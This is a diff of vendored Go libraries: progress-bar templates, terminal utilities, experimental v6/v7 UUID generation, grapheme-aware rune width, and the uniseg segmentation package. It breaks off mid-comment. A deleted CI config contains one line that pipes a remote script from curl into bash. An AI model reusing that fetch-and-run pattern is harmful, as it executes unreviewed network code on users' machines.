Default ProgressBarTemplate = `{{string . "prefix"}}{{counters . }} {{bar . }} {{percent . }} {{speed . }}{{string . "suffix"}}`
// Example: 'Prefix 20/100 [-->______] 20% 1 p/s Suffix'
Default ProgressBarTemplate = `{{with string . "prefix"}}{{.}} {{end}}{{counters . }} {{bar . }} {{percent . }} {{speed . }}{{with string . "suffix"}} {{.}}{{end}}`
// Simple - preset without speed and any timers. Only counters, bar and percents
// Example: 'Prefix 20/100 [-->______] 20% Suffix'
Simple ProgressBarTemplate = `{{string . "prefix"}}{{counters . }} {{bar . }} {{percent . }}{{string . "suffix"}}`
Simple ProgressBarTemplate = `{{with string . "prefix"}}{{.}} {{end}}{{counters . }} {{bar . }} {{percent . }}{{with string . "suffix"}} {{.}}{{end}}`
)
+2 -1
View File
@@ -68,7 +68,8 @@ func fillTemplateFuncs(t *template.Template) {
emf := make(template.FuncMap)
elementsM.Lock()
for k, v := range elements {
emf[k] = v
element := v
emf[k] = func(state *State, args ...string) string { return element.ProgressElement(state, args...) }
}
elementsM.Unlock()
t.Funcs(emf)
+14 -2
View File
@@ -10,6 +10,16 @@ import (
var echoLocked bool
var echoLockMutex sync.Mutex
var errLocked = errors.New("terminal locked")
var autoTerminate = true
// AutoTerminate enables or disables automatic terminate signal catching.
// It's needed to restore the terminal state after the pool was used.
// By default, it's enabled.
func AutoTerminate(enable bool) {
echoLockMutex.Lock()
defer echoLockMutex.Unlock()
autoTerminate = enable
}
// RawModeOn switches terminal to raw mode
func RawModeOn() (quit chan struct{}, err error) {
@@ -45,8 +55,10 @@ func RawModeOff() (err error) {
// listen exit signals and restore terminal state
func catchTerminate(quit chan struct{}) {
sig := make(chan os.Signal, 1)
signal.Notify(sig, unlockSignals...)
defer signal.Stop(sig)
if autoTerminate {
signal.Notify(sig, unlockSignals...)
defer signal.Stop(sig)
}
select {
case <-quit:
RawModeOff()
+1
View File
@@ -1,3 +1,4 @@
//go:build appengine
// +build appengine
package termutil
+1
View File
@@ -1,3 +1,4 @@
//go:build (darwin || freebsd || netbsd || openbsd || dragonfly) && !appengine
// +build darwin freebsd netbsd openbsd dragonfly
// +build !appengine
+2 -2
View File
@@ -1,5 +1,5 @@
// +build linux
// +build !appengine
//go:build linux && !appengine
// +build linux,!appengine
package termutil
+1
View File
@@ -1,3 +1,4 @@
//go:build (linux || darwin || freebsd || netbsd || openbsd || dragonfly) && !appengine
// +build linux darwin freebsd netbsd openbsd dragonfly
// +build !appengine
+2 -2
View File
@@ -1,5 +1,5 @@
// +build solaris
// +build !appengine
//go:build solaris && !appengine
// +build solaris,!appengine
package termutil
+3 -2
View File
@@ -1,3 +1,4 @@
//go:build windows
// +build windows
package termutil
@@ -111,7 +112,7 @@ func termWidthTPut() (width int, err error) {
return strconv.Atoi(string(res))
}
func getCursorPos() (pos coordinates, err error) {
func GetCursorPos() (pos coordinates, err error) {
var info consoleScreenBufferInfo
_, _, e := syscall.Syscall(procGetConsoleScreenBufferInfo.Addr(), 2, uintptr(syscall.Stdout), uintptr(unsafe.Pointer(&info)), 0)
if e != 0 {
@@ -120,7 +121,7 @@ func getCursorPos() (pos coordinates, err error) {
return info.dwCursorPosition, nil
}
func setCursorPos(pos coordinates) error {
func SetCursorPos(pos coordinates) error {
_, _, e := syscall.Syscall(setConsoleCursorPosition.Addr(), 2, uintptr(syscall.Stdout), uintptr(uint32(uint16(pos.Y))<<16|uint32(uint16(pos.X))), 0)
if e != 0 {
return error(e)
+21 -16
View File
@@ -1,3 +1,4 @@
//go:build (linux || darwin || freebsd || netbsd || openbsd || solaris || dragonfly) && !appengine
// +build linux darwin freebsd netbsd openbsd solaris dragonfly
// +build !appengine
@@ -16,6 +17,7 @@ var (
unlockSignals = []os.Signal{
os.Interrupt, syscall.SIGQUIT, syscall.SIGTERM, syscall.SIGKILL,
}
oldState syscall.Termios
)
type window struct {
@@ -35,6 +37,12 @@ func init() {
// TerminalWidth returns width of the terminal.
func TerminalWidth() (int, error) {
_, c, err := TerminalSize()
return c, err
}
// TerminalSize returns size of the terminal.
func TerminalSize() (rows, cols int, err error) {
w := new(window)
res, _, err := syscall.Syscall(sysIoctl,
tty.Fd(),
@@ -42,35 +50,32 @@ func TerminalWidth() (int, error) {
uintptr(unsafe.Pointer(w)),
)
if int(res) == -1 {
return 0, err
return 0, 0, err
}
return int(w.Col), nil
return int(w.Row), int(w.Col), nil
}
var oldState syscall.Termios
func lockEcho() (err error) {
func lockEcho() error {
fd := tty.Fd()
if _, _, e := syscall.Syscall6(sysIoctl, fd, ioctlReadTermios, uintptr(unsafe.Pointer(&oldState)), 0, 0, 0); e != 0 {
err = fmt.Errorf("Can't get terminal settings: %v", e)
return
if _, _, err := syscall.Syscall(sysIoctl, fd, ioctlReadTermios, uintptr(unsafe.Pointer(&oldState))); err != 0 {
return fmt.Errorf("error when puts the terminal connected to the given file descriptor: %w", err)
}
newState := oldState
newState.Lflag &^= syscall.ECHO
newState.Lflag |= syscall.ICANON | syscall.ISIG
newState.Iflag |= syscall.ICRNL
if _, _, e := syscall.Syscall6(sysIoctl, fd, ioctlWriteTermios, uintptr(unsafe.Pointer(&newState)), 0, 0, 0); e != 0 {
err = fmt.Errorf("Can't set terminal settings: %v", e)
return
if _, _, e := syscall.Syscall(sysIoctl, fd, ioctlWriteTermios, uintptr(unsafe.Pointer(&newState))); e != 0 {
return fmt.Errorf("error update terminal settings: %w", e)
}
return
return nil
}
func unlockEcho() (err error) {
func unlockEcho() error {
fd := tty.Fd()
if _, _, e := syscall.Syscall6(sysIoctl, fd, ioctlWriteTermios, uintptr(unsafe.Pointer(&oldState)), 0, 0, 0); e != 0 {
err = fmt.Errorf("Can't set terminal settings")
if _, _, err := syscall.Syscall(sysIoctl, fd, ioctlWriteTermios, uintptr(unsafe.Pointer(&oldState))); err != 0 {
return fmt.Errorf("error restores the terminal connected to the given file descriptor: %w", err)
}
return
return nil
}
+4 -3
View File
@@ -21,7 +21,7 @@ const (
_TB = 1e12
)
var ctrlFinder = regexp.MustCompile("\x1b\x5b[0-9]+\x6d")
var ctrlFinder = regexp.MustCompile("\x1b\x5b[0-9;]+\x6d")
func CellCount(s string) int {
n := runewidth.StringWidth(s)
@@ -43,6 +43,7 @@ func StripString(s string, w int) string {
func StripStringToBuffer(s string, w int, buf *bytes.Buffer) {
var seqs = ctrlFinder.FindAllStringIndex(s, -1)
var maxWidthReached bool
mainloop:
for i, r := range s {
for _, seq := range seqs {
@@ -51,11 +52,11 @@ mainloop:
continue mainloop
}
}
if rw := CellCount(string(r)); rw <= w {
if rw := CellCount(string(r)); rw <= w && !maxWidthReached {
w -= rw
buf.WriteRune(r)
} else {
break
maxWidthReached = true
}
}
for w > 0 {
-22
View File
@@ -1,22 +0,0 @@
language: go
sudo: false
go:
- 1.7.x
- 1.8.x
- 1.9.x
- 1.10.x
- 1.11.x
- 1.12.x
- tip
matrix:
allow_failures:
- go: tip
fast_finish: true
before_install:
- go get golang.org/x/tools/cmd/cover
script:
- go test ./... -race -coverprofile=coverage.txt -covermode=atomic
after_success:
- bash <(curl -s https://codecov.io/bash)
notifications:
email: false
+9
View File
@@ -16,6 +16,14 @@ This package supports the following UUID versions:
* Version 4, based on random numbers (RFC-4122)
* Version 5, based on SHA-1 hashing of a named value (RFC-4122)
This package also supports experimental Universally Unique Identifier implementations based on a
[draft RFC](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-03) that updates RFC-4122
* Version 6, a k-sortable id based on timestamp, and field-compatible with v1 (draft-peabody-dispatch-new-uuid-format, RFC-4122)
* Version 7, a k-sortable id based on timestamp (draft-peabody-dispatch-new-uuid-format, RFC-4122)
The v6 and v7 IDs are **not** considered a part of the stable API, and may be subject to behavior or API changes as part of minor releases
to this package. They will be updated as the draft RFC changes, and will become stable if and when the draft RFC is accepted.
## Project History
This project was originally forked from the
@@ -106,3 +114,4 @@ func main() {
* [RFC-4122](https://tools.ietf.org/html/rfc4122)
* [DCE 1.1: Authentication and Security Services](http://pubs.opengroup.org/onlinepubs/9696989899/chap5.htm#tagcjh_08_02_01_01)
* [New UUID Formats RFC Draft (Peabody) Rev 03](https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-03)
+93 -2
View File
@@ -66,12 +66,39 @@ func NewV5(ns UUID, name string) UUID {
return DefaultGenerator.NewV5(ns, name)
}
// NewV6 returns a k-sortable UUID based on a timestamp and 48 bits of
// pseudorandom data. The timestamp in a V6 UUID is the same as V1, with the bit
// order being adjusted to allow the UUID to be k-sortable.
//
// This is implemented based on revision 03 of the Peabody UUID draft, and may
// be subject to change pending further revisions. Until the final specification
// revision is finished, changes required to implement updates to the spec will
// not be considered a breaking change. They will happen as a minor version
// releases until the spec is final.
func NewV6() (UUID, error) {
return DefaultGenerator.NewV6()
}
// NewV7 returns a k-sortable UUID based on the current millisecond precision
// UNIX epoch and 74 bits of pseudorandom data.
//
// This is implemented based on revision 03 of the Peabody UUID draft, and may
// be subject to change pending further revisions. Until the final specification
// revision is finished, changes required to implement updates to the spec will
// not be considered a breaking change. They will happen as a minor version
// releases until the spec is final.
func NewV7() (UUID, error) {
return DefaultGenerator.NewV7()
}
// Generator provides an interface for generating UUIDs.
type Generator interface {
NewV1() (UUID, error)
NewV3(ns UUID, name string) UUID
NewV4() (UUID, error)
NewV5(ns UUID, name string) UUID
NewV6() (UUID, error)
NewV7() (UUID, error)
}
// Gen is a reference UUID generator based on the specifications laid out in
@@ -182,7 +209,39 @@ func (g *Gen) NewV5(ns UUID, name string) UUID {
return u
}
// getClockSequence returns the epoch and clock sequence.
// NewV6 returns a k-sortable UUID based on a timestamp and 48 bits of
// pseudorandom data. The timestamp in a V6 UUID is the same as V1, with the bit
// order being adjusted to allow the UUID to be k-sortable.
//
// This is implemented based on revision 03 of the Peabody UUID draft, and may
// be subject to change pending further revisions. Until the final specification
// revision is finished, changes required to implement updates to the spec will
// not be considered a breaking change. They will happen as a minor version
// releases until the spec is final.
func (g *Gen) NewV6() (UUID, error) {
var u UUID
if _, err := io.ReadFull(g.rand, u[10:]); err != nil {
return Nil, err
}
timeNow, clockSeq, err := g.getClockSequence()
if err != nil {
return Nil, err
}
binary.BigEndian.PutUint32(u[0:], uint32(timeNow>>28)) // set time_high
binary.BigEndian.PutUint16(u[4:], uint16(timeNow>>12)) // set time_mid
binary.BigEndian.PutUint16(u[6:], uint16(timeNow&0xfff)) // set time_low (minus four version bits)
binary.BigEndian.PutUint16(u[8:], clockSeq&0x3fff) // set clk_seq_hi_res (minus two variant bits)
u.SetVersion(V6)
u.SetVariant(VariantRFC4122)
return u, nil
}
// getClockSequence returns the epoch and clock sequence for V1 and V6 UUIDs.
func (g *Gen) getClockSequence() (uint64, uint16, error) {
var err error
g.clockSequenceOnce.Do(func() {
@@ -210,6 +269,36 @@ func (g *Gen) getClockSequence() (uint64, uint16, error) {
return timeNow, g.clockSequence, nil
}
// NewV7 returns a k-sortable UUID based on the current millisecond precision
// UNIX epoch and 74 bits of pseudorandom data.
//
// This is implemented based on revision 03 of the Peabody UUID draft, and may
// be subject to change pending further revisions. Until the final specification
// revision is finished, changes required to implement updates to the spec will
// not be considered a breaking change. They will happen as a minor version
// releases until the spec is final.
func (g *Gen) NewV7() (UUID, error) {
var u UUID
if _, err := io.ReadFull(g.rand, u[6:]); err != nil {
return Nil, err
}
tn := g.epochFunc()
ms := uint64(tn.UnixMilli())
u[0] = byte(ms >> 40)
u[1] = byte(ms >> 32)
u[2] = byte(ms >> 24)
u[3] = byte(ms >> 16)
u[4] = byte(ms >> 8)
u[5] = byte(ms)
u.SetVersion(V7)
u.SetVariant(VariantRFC4122)
return u, nil
}
// Returns the hardware address.
func (g *Gen) getHardwareAddr() ([]byte, error) {
var err error
@@ -250,9 +339,11 @@ func newFromHash(h hash.Hash, ns UUID, name string) UUID {
return u
}
var netInterfaces = net.Interfaces
// Returns the hardware address.
func defaultHWAddrFunc() (net.HardwareAddr, error) {
ifaces, err := net.Interfaces()
ifaces, err := netInterfaces()
if err != nil {
return []byte{}, err
}
+38 -4
View File
@@ -20,11 +20,13 @@
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// Package uuid provides implementations of the Universally Unique Identifier
// (UUID), as specified in RFC-4122,
// (UUID), as specified in RFC-4122 and the Peabody RFC Draft (revision 03).
//
// RFC-4122[1] provides the specification for versions 1, 3, 4, and 5.
// RFC-4122[1] provides the specification for versions 1, 3, 4, and 5. The
// Peabody UUID RFC Draft[2] provides the specification for the new k-sortable
// UUIDs, versions 6 and 7.
//
// DCE 1.1[2] provides the specification for version 2, but version 2 support
// DCE 1.1[3] provides the specification for version 2, but version 2 support
// was removed from this package in v4 due to some concerns with the
// specification itself. Reading the spec, it seems that it would result in
// generating UUIDs that aren't very unique. In having read the spec it seemed
@@ -34,7 +36,8 @@
// ensure we were understanding the specification correctly.
//
// [1] https://tools.ietf.org/html/rfc4122
// [2] http://pubs.opengroup.org/onlinepubs/9696989899/chap5.htm#tagcjh_08_02_01_01
// [2] https://datatracker.ietf.org/doc/html/draft-peabody-dispatch-new-uuid-format-03
// [3] http://pubs.opengroup.org/onlinepubs/9696989899/chap5.htm#tagcjh_08_02_01_01
package uuid
import (
@@ -60,6 +63,9 @@ const (
V3 // Version 3 (namespace name-based)
V4 // Version 4 (random)
V5 // Version 5 (namespace name-based)
V6 // Version 6 (k-sortable timestamp and random data, field-compatible with v1) [peabody draft]
V7 // Version 7 (k-sortable timestamp and random data) [peabody draft]
_ // Version 8 (k-sortable timestamp, meant for custom implementations) [peabody draft] [not implemented]
)
// UUID layout variants.
@@ -88,6 +94,7 @@ const _100nsPerSecond = 10000000
func (t Timestamp) Time() (time.Time, error) {
secs := uint64(t) / _100nsPerSecond
nsecs := 100 * (uint64(t) % _100nsPerSecond)
return time.Unix(int64(secs)-(epochStart/_100nsPerSecond), int64(nsecs)), nil
}
@@ -98,12 +105,34 @@ func TimestampFromV1(u UUID) (Timestamp, error) {
err := fmt.Errorf("uuid: %s is version %d, not version 1", u, u.Version())
return 0, err
}
low := binary.BigEndian.Uint32(u[0:4])
mid := binary.BigEndian.Uint16(u[4:6])
hi := binary.BigEndian.Uint16(u[6:8]) & 0xfff
return Timestamp(uint64(low) + (uint64(mid) << 32) + (uint64(hi) << 48)), nil
}
// TimestampFromV6 returns the Timestamp embedded within a V6 UUID. This
// function returns an error if the UUID is any version other than 6.
//
// This is implemented based on revision 03 of the Peabody UUID draft, and may
// be subject to change pending further revisions. Until the final specification
// revision is finished, changes required to implement updates to the spec will
// not be considered a breaking change. They will happen as a minor version
// releases until the spec is final.
func TimestampFromV6(u UUID) (Timestamp, error) {
if u.Version() != 6 {
return 0, fmt.Errorf("uuid: %s is version %d, not version 6", u, u.Version())
}
hi := binary.BigEndian.Uint32(u[0:4])
mid := binary.BigEndian.Uint16(u[4:6])
low := binary.BigEndian.Uint16(u[6:8]) & 0xfff
return Timestamp(uint64(low) + (uint64(mid) << 12) + (uint64(hi) << 28)), nil
}
// String parse helpers.
var (
urnPrefix = []byte("urn:uuid:")
@@ -122,6 +151,11 @@ var (
NamespaceX500 = Must(FromString("6ba7b814-9dad-11d1-80b4-00c04fd430c8"))
)
// IsNil returns if the UUID is equal to the nil UUID
func (u UUID) IsNil() bool {
return u == Nil
}
// Version returns the algorithm version used to generate the UUID.
func (u UUID) Version() byte {
return u[6] >> 4
+69 -53
View File
@@ -2,6 +2,8 @@ package runewidth
import (
"os"
"github.com/rivo/uniseg"
)
//go:generate go run script/generate.go
@@ -10,11 +12,14 @@ var (
// EastAsianWidth will be set true if the current locale is CJK
EastAsianWidth bool
// ZeroWidthJoiner is flag to set to use UTR#51 ZWJ
ZeroWidthJoiner bool
// StrictEmojiNeutral should be set false if handle broken fonts
StrictEmojiNeutral bool = true
// DefaultCondition is a condition in current locale
DefaultCondition = &Condition{}
DefaultCondition = &Condition{
EastAsianWidth: false,
StrictEmojiNeutral: true,
}
)
func init() {
@@ -30,7 +35,6 @@ func handleEnv() {
}
// update DefaultCondition
DefaultCondition.EastAsianWidth = EastAsianWidth
DefaultCondition.ZeroWidthJoiner = ZeroWidthJoiner
}
type interval struct {
@@ -85,63 +89,69 @@ var nonprint = table{
// Condition have flag EastAsianWidth whether the current locale is CJK or not.
type Condition struct {
EastAsianWidth bool
ZeroWidthJoiner bool
EastAsianWidth bool
StrictEmojiNeutral bool
}
// NewCondition return new instance of Condition which is current locale.
func NewCondition() *Condition {
return &Condition{
EastAsianWidth: EastAsianWidth,
ZeroWidthJoiner: ZeroWidthJoiner,
EastAsianWidth: EastAsianWidth,
StrictEmojiNeutral: StrictEmojiNeutral,
}
}
// RuneWidth returns the number of cells in r.
// See http://www.unicode.org/reports/tr11/
func (c *Condition) RuneWidth(r rune) int {
switch {
case r < 0 || r > 0x10FFFF || inTables(r, nonprint, combining, notassigned):
return 0
case (c.EastAsianWidth && IsAmbiguousWidth(r)) || inTables(r, doublewidth):
return 2
default:
return 1
}
}
func (c *Condition) stringWidth(s string) (width int) {
for _, r := range []rune(s) {
width += c.RuneWidth(r)
}
return width
}
func (c *Condition) stringWidthZeroJoiner(s string) (width int) {
r1, r2 := rune(0), rune(0)
for _, r := range []rune(s) {
if r == 0xFE0E || r == 0xFE0F {
continue
// optimized version, verified by TestRuneWidthChecksums()
if !c.EastAsianWidth {
switch {
case r < 0x20 || r > 0x10FFFF:
return 0
case (r >= 0x7F && r <= 0x9F) || r == 0xAD: // nonprint
return 0
case r < 0x300:
return 1
case inTable(r, narrow):
return 1
case inTables(r, nonprint, combining):
return 0
case inTable(r, doublewidth):
return 2
default:
return 1
}
w := c.RuneWidth(r)
if r2 == 0x200D && inTables(r, emoji) && inTables(r1, emoji) {
if width < w {
width = w
}
} else {
width += w
} else {
switch {
case r < 0 || r > 0x10FFFF || inTables(r, nonprint, combining):
return 0
case inTable(r, narrow):
return 1
case inTables(r, ambiguous, doublewidth):
return 2
case !c.StrictEmojiNeutral && inTables(r, ambiguous, emoji, narrow):
return 2
default:
return 1
}
r1, r2 = r2, r
}
return width
}
// StringWidth return width as you can see
func (c *Condition) StringWidth(s string) (width int) {
if c.ZeroWidthJoiner {
return c.stringWidthZeroJoiner(s)
g := uniseg.NewGraphemes(s)
for g.Next() {
var chWidth int
for _, r := range g.Runes() {
chWidth = c.RuneWidth(r)
if chWidth > 0 {
break // Our best guess at this point is to use the width of the first non-zero-width rune.
}
}
width += chWidth
}
return c.stringWidth(s)
return
}
// Truncate return string truncated with w cells
@@ -149,19 +159,25 @@ func (c *Condition) Truncate(s string, w int, tail string) string {
if c.StringWidth(s) <= w {
return s
}
r := []rune(s)
tw := c.StringWidth(tail)
w -= tw
width := 0
i := 0
for ; i < len(r); i++ {
cw := c.RuneWidth(r[i])
if width+cw > w {
w -= c.StringWidth(tail)
var width int
pos := len(s)
g := uniseg.NewGraphemes(s)
for g.Next() {
var chWidth int
for _, r := range g.Runes() {
chWidth = c.RuneWidth(r)
if chWidth > 0 {
break // See StringWidth() for details.
}
}
if width+chWidth > w {
pos, _ = g.Positions()
break
}
width += cw
width += chWidth
}
return string(r[0:i]) + tail
return s[:pos] + tail
}
// Wrap return string wrapped with w cells
@@ -169,7 +185,7 @@ func (c *Condition) Wrap(s string, w int) string {
width := 0
out := ""
for _, r := range []rune(s) {
cw := RuneWidth(r)
cw := c.RuneWidth(r)
if r == '\n' {
out += string(r)
width = 0
+4 -2
View File
@@ -124,8 +124,10 @@ var ambiguous = table{
{0x1F18F, 0x1F190}, {0x1F19B, 0x1F1AC}, {0xE0100, 0xE01EF},
{0xF0000, 0xFFFFD}, {0x100000, 0x10FFFD},
}
var notassigned = table{
{0x27E6, 0x27ED}, {0x2985, 0x2986},
var narrow = table{
{0x0020, 0x007E}, {0x00A2, 0x00A3}, {0x00A5, 0x00A6},
{0x00AC, 0x00AC}, {0x00AF, 0x00AF}, {0x27E6, 0x27ED},
{0x2985, 0x2986},
}
var neutral = table{
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019 Oliver Kuederle
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+62
View File
@@ -0,0 +1,62 @@
# Unicode Text Segmentation for Go
[![Godoc Reference](https://img.shields.io/badge/godoc-reference-blue.svg)](https://godoc.org/github.com/rivo/uniseg)
[![Go Report](https://img.shields.io/badge/go%20report-A%2B-brightgreen.svg)](https://goreportcard.com/report/github.com/rivo/uniseg)
This Go package implements Unicode Text Segmentation according to [Unicode Standard Annex #29](http://unicode.org/reports/tr29/) (Unicode version 12.0.0).
At this point, only the determination of grapheme cluster boundaries is implemented.
## Background
In Go, [strings are read-only slices of bytes](https://blog.golang.org/strings). They can be turned into Unicode code points using the `for` loop or by casting: `[]rune(str)`. However, multiple code points may be combined into one user-perceived character or what the Unicode specification calls "grapheme cluster". Here are some examples:
|String|Bytes (UTF-8)|Code points (runes)|Grapheme clusters|
|-|-|-|-|
|Käse|6 bytes: `4b 61 cc 88 73 65`|5 code points: `4b 61 308 73 65`|4 clusters: `[4b],[61 308],[73],[65]`|
|🏳️‍🌈|14 bytes: `f0 9f 8f b3 ef b8 8f e2 80 8d f0 9f 8c 88`|4 code points: `1f3f3 fe0f 200d 1f308`|1 cluster: `[1f3f3 fe0f 200d 1f308]`|
|🇩🇪|8 bytes: `f0 9f 87 a9 f0 9f 87 aa`|2 code points: `1f1e9 1f1ea`|1 cluster: `[1f1e9 1f1ea]`|
This package provides a tool to iterate over these grapheme clusters. This may be used to determine the number of user-perceived characters, to split strings in their intended places, or to extract individual characters which form a unit.
## Installation
```bash
go get github.com/rivo/uniseg
```
## Basic Example
```go
package uniseg
import (
"fmt"
"github.com/rivo/uniseg"
)
func main() {
gr := uniseg.NewGraphemes("👍🏼!")
for gr.Next() {
fmt.Printf("%x ", gr.Runes())
}
// Output: [1f44d 1f3fc] [21]
}
```
## Documentation
Refer to https://godoc.org/github.com/rivo/uniseg for the package's documentation.
## Dependencies
This package does not depend on any packages outside the standard library.
## Your Feedback
Add your issue here on GitHub. Feel free to get in touch if you have any questions.
## Version
Version tags will be introduced once Golang modules are official. Consider this version 0.1.
+8
View File
@@ -0,0 +1,8 @@
/*
Package uniseg implements Unicode Text Segmentation according to Unicode
Standard Annex #29 (http://unicode.org/reports/tr29/).
At this point, only the determination of grapheme cluster boundaries is
implemented.
*/
package uniseg
+268
View File
@@ -0,0 +1,268 @@
package uniseg
import "unicode/utf8"
// The states of the grapheme cluster parser.
const (
grAny = iota
grCR
grControlLF
grL
grLVV
grLVTT
grPrepend
grExtendedPictographic
grExtendedPictographicZWJ
grRIOdd
grRIEven
)
// The grapheme cluster parser's breaking instructions.
const (
grNoBoundary = iota
grBoundary
)
// The grapheme cluster parser's state transitions. Maps (state, property) to
// (new state, breaking instruction, rule number). The breaking instruction
// always refers to the boundary between the last and next code point.
//
// This map is queried as follows:
//
// 1. Find specific state + specific property. Stop if found.
// 2. Find specific state + any property.
// 3. Find any state + specific property.
// 4. If only (2) or (3) (but not both) was found, stop.
// 5. If both (2) and (3) were found, use state and breaking instruction from
// the transition with the lower rule number, prefer (3) if rule numbers
// are equal. Stop.
// 6. Assume grAny and grBoundary.
var grTransitions = map[[2]int][3]int{
// GB5
{grAny, prCR}: {grCR, grBoundary, 50},
{grAny, prLF}: {grControlLF, grBoundary, 50},
{grAny, prControl}: {grControlLF, grBoundary, 50},
// GB4
{grCR, prAny}: {grAny, grBoundary, 40},
{grControlLF, prAny}: {grAny, grBoundary, 40},
// GB3.
{grCR, prLF}: {grAny, grNoBoundary, 30},
// GB6.
{grAny, prL}: {grL, grBoundary, 9990},
{grL, prL}: {grL, grNoBoundary, 60},
{grL, prV}: {grLVV, grNoBoundary, 60},
{grL, prLV}: {grLVV, grNoBoundary, 60},
{grL, prLVT}: {grLVTT, grNoBoundary, 60},
// GB7.
{grAny, prLV}: {grLVV, grBoundary, 9990},
{grAny, prV}: {grLVV, grBoundary, 9990},
{grLVV, prV}: {grLVV, grNoBoundary, 70},
{grLVV, prT}: {grLVTT, grNoBoundary, 70},
// GB8.
{grAny, prLVT}: {grLVTT, grBoundary, 9990},
{grAny, prT}: {grLVTT, grBoundary, 9990},
{grLVTT, prT}: {grLVTT, grNoBoundary, 80},
// GB9.
{grAny, prExtend}: {grAny, grNoBoundary, 90},
{grAny, prZWJ}: {grAny, grNoBoundary, 90},
// GB9a.
{grAny, prSpacingMark}: {grAny, grNoBoundary, 91},
// GB9b.
{grAny, prPreprend}: {grPrepend, grBoundary, 9990},
{grPrepend, prAny}: {grAny, grNoBoundary, 92},
// GB11.
{grAny, prExtendedPictographic}: {grExtendedPictographic, grBoundary, 9990},
{grExtendedPictographic, prExtend}: {grExtendedPictographic, grNoBoundary, 110},
{grExtendedPictographic, prZWJ}: {grExtendedPictographicZWJ, grNoBoundary, 110},
{grExtendedPictographicZWJ, prExtendedPictographic}: {grExtendedPictographic, grNoBoundary, 110},
// GB12 / GB13.
{grAny, prRegionalIndicator}: {grRIOdd, grBoundary, 9990},
{grRIOdd, prRegionalIndicator}: {grRIEven, grNoBoundary, 120},
{grRIEven, prRegionalIndicator}: {grRIOdd, grBoundary, 120},
}
// Graphemes implements an iterator over Unicode extended grapheme clusters,
// specified in the Unicode Standard Annex #29. Grapheme clusters correspond to
// "user-perceived characters". These characters often consist of multiple
// code points (e.g. the "woman kissing woman" emoji consists of 8 code points:
// woman + ZWJ + heavy black heart (2 code points) + ZWJ + kiss mark + ZWJ +
// woman) and the rules described in Annex #29 must be applied to group those
// code points into clusters perceived by the user as one character.
type Graphemes struct {
// The code points over which this class iterates.
codePoints []rune
// The (byte-based) indices of the code points into the original string plus
// len(original string). Thus, len(indices) = len(codePoints) + 1.
indices []int
// The current grapheme cluster to be returned. These are indices into
// codePoints/indices. If start == end, we either haven't started iterating
// yet (0) or the iteration has already completed (1).
start, end int
// The index of the next code point to be parsed.
pos int
// The current state of the code point parser.
state int
}
// NewGraphemes returns a new grapheme cluster iterator.
func NewGraphemes(s string) *Graphemes {
l := utf8.RuneCountInString(s)
codePoints := make([]rune, l)
indices := make([]int, l+1)
i := 0
for pos, r := range s {
codePoints[i] = r
indices[i] = pos
i++
}
indices[l] = len(s)
g := &Graphemes{
codePoints: codePoints,
indices: indices,
}
g.Next() // Parse ahead.
return g
}
// Next advances the iterator by one grapheme cluster and returns false if no
// clusters are left. This function must be called before the first cluster is
// accessed.
func (g *Graphemes) Next() bool {
g.start = g.end
// The state transition gives us a boundary instruction BEFORE the next code
// point so we always need to stay ahead by one code point.
// Parse the next code point.
for g.pos <= len(g.codePoints) {
// GB2.
if g.pos == len(g.codePoints) {
g.end = g.pos
g.pos++
break
}
// Determine the property of the next character.
nextProperty := property(g.codePoints[g.pos])
g.pos++
// Find the applicable transition.
var boundary bool
transition, ok := grTransitions[[2]int{g.state, nextProperty}]
if ok {
// We have a specific transition. We'll use it.
g.state = transition[0]
boundary = transition[1] == grBoundary
} else {
// No specific transition found. Try the less specific ones.
transAnyProp, okAnyProp := grTransitions[[2]int{g.state, prAny}]
transAnyState, okAnyState := grTransitions[[2]int{grAny, nextProperty}]
if okAnyProp && okAnyState {
// Both apply. We'll use a mix (see comments for grTransitions).
g.state = transAnyState[0]
boundary = transAnyState[1] == grBoundary
if transAnyProp[2] < transAnyState[2] {
g.state = transAnyProp[0]
boundary = transAnyProp[1] == grBoundary
}
} else if okAnyProp {
// We only have a specific state.
g.state = transAnyProp[0]
boundary = transAnyProp[1] == grBoundary
// This branch will probably never be reached because okAnyState will
// always be true given the current transition map. But we keep it here
// for future modifications to the transition map where this may not be
// true anymore.
} else if okAnyState {
// We only have a specific property.
g.state = transAnyState[0]
boundary = transAnyState[1] == grBoundary
} else {
// No known transition. GB999: Any x Any.
g.state = grAny
boundary = true
}
}
// If we found a cluster boundary, let's stop here. The current cluster will
// be the one that just ended.
if g.pos-1 == 0 /* GB1 */ || boundary {
g.end = g.pos - 1
break
}
}
return g.start != g.end
}
// Runes returns a slice of runes (code points) which corresponds to the current
// grapheme cluster. If the iterator is already past the end or Next() has not
// yet been called, nil is returned.
func (g *Graphemes) Runes() []rune {
if g.start == g.end {
return nil
}
return g.codePoints[g.start:g.end]
}
// Str returns a substring of the original string which corresponds to the
// current grapheme cluster. If the iterator is already past the end or Next()
// has not yet been called, an empty string is returned.
func (g *Graphemes) Str() string {
if g.start == g.end {
return ""
}
return string(g.codePoints[g.start:g.end])
}
// Bytes returns a byte slice which corresponds to the current grapheme cluster.
// If the iterator is already past the end or Next() has not yet been called,
// nil is returned.
func (g *Graphemes) Bytes() []byte {
if g.start == g.end {
return nil
}
return []byte(string(g.codePoints[g.start:g.end]))
}
// Positions returns the interval of the current grapheme cluster as byte
// positions into the original string. The first returned value "from" indexes
// the first byte and the second returned value "to" indexes the first byte that
